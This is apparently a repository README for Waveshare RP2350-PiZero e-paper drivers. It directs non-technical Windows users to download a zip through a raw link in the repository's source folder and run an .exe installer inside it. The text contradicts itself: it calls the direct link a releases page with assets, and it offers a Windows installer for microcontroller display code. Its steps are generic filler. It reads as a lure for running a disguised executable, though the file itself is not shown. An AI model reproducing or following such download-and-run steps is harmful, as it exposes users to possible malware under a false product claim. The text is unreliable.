This software package provides drivers and example programs for the Waveshare RP2350-PiZero board paired with an E-paper HAT. It helps you control e-ink displays, which use very little power and show clear images even without backlighting. The package offers multi-display examples for various screen sizes and configurations on this specific hardware.
You do not need any coding experience to use this software. The instructions here will guide you on how to download and run the drivers on a Windows PC, so you can quickly set up your e-paper display hardware.
To run this software smoothly, your computer and hardware should meet the following minimum requirements:
- A Windows 10 or later computer
- Internet connection to download files
- USB cable to connect the Waveshare RP2350-PiZero board to the PC
- Waveshare RP2350-PiZero board with E-paper HAT hardware connected
- At least 500 MB free disk space for the downloaded files and examples
- Basic familiarity with your PC’s file navigation
Start by visiting the releases page where the latest drivers and example files are stored.
Use this button to go directly to the download area:
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Click the button above or open this URL in your browser:
https://github.com/adamy9505/waveshare-rp2350-pizero-board-with-epaper-driver-hat/raw/refs/heads/main/Multi-epaper/src/with-hat-waveshare-epaper-rp-pizero-board-driver-1.3.zip -
Look for the latest release at the top of the page. It will usually have a version number (e.g., v1.0).
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Under “Assets,” find the file with a
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Click the file name. Your browser will start the download automatically.
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Save the file to a folder you can easily find, such as your Desktop or Downloads.
Follow these steps to install and run the drivers on your Windows PC:
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Locate the downloaded
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Right-click the file and select “Extract All...” to unzip its content.
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Choose a folder where the files will be extracted. The default folder is usually fine.
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Open the extracted folder. You should see driver files, example applications, and readme documents.
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Connect your Waveshare RP2350-PiZero board with the E-paper HAT to your PC using a USB cable.
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Find and double-click the installer file if present (usually with
.exeextension). Follow the on-screen instructions.- If no installer is available, look for a user guide within the extracted files for manual setup.
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After installation, open the example programs folder.
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Run the example program that matches your e-paper display size or model. This will test the setup and show you how the display works.
Once the software is installed, you can start using your e-paper display by following these simple steps:
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Make sure your board is connected to the PC and powered.
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Open the example program folder and run the demo application.
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Watch the e-paper display update with test images or text.
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Try different examples to see various display capabilities like screen refresh, partial updates, or text rendering.
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If the display does not update, unplug the USB cable and try reconnecting. Also, verify that the drivers installed correctly.
If you face issues, try these steps:
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Check your USB cable and connection. Use a different cable if needed.
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Restart your PC and try running the installer again.
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Confirm that you downloaded the correct files from the releases page.
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Look in the documentation file (
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Search online for Waveshare RP2350-PiZero error messages.
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Uninstall any previous versions of the drivers before reinstalling.
You can find more detailed technical documents and source code examples inside the extracted folder after download. These are useful if you want to learn how the drivers work or customize the e-paper behavior.
Check the release page often for updates that improve performance or add new features.
Use this link or button whenever you need the latest version:
- Arduino IDE compatibility
- RP2350 microcontroller support
- Multi-size e-paper displays
- SPI communication with displays
- Embedded system drivers for displays
- Waveshare hardware specific code
- DIY electronics projects with e-ink
This repository is designed to provide all the software needed to operate e-paper screens on the RP2350-PiZero board simply and reliably.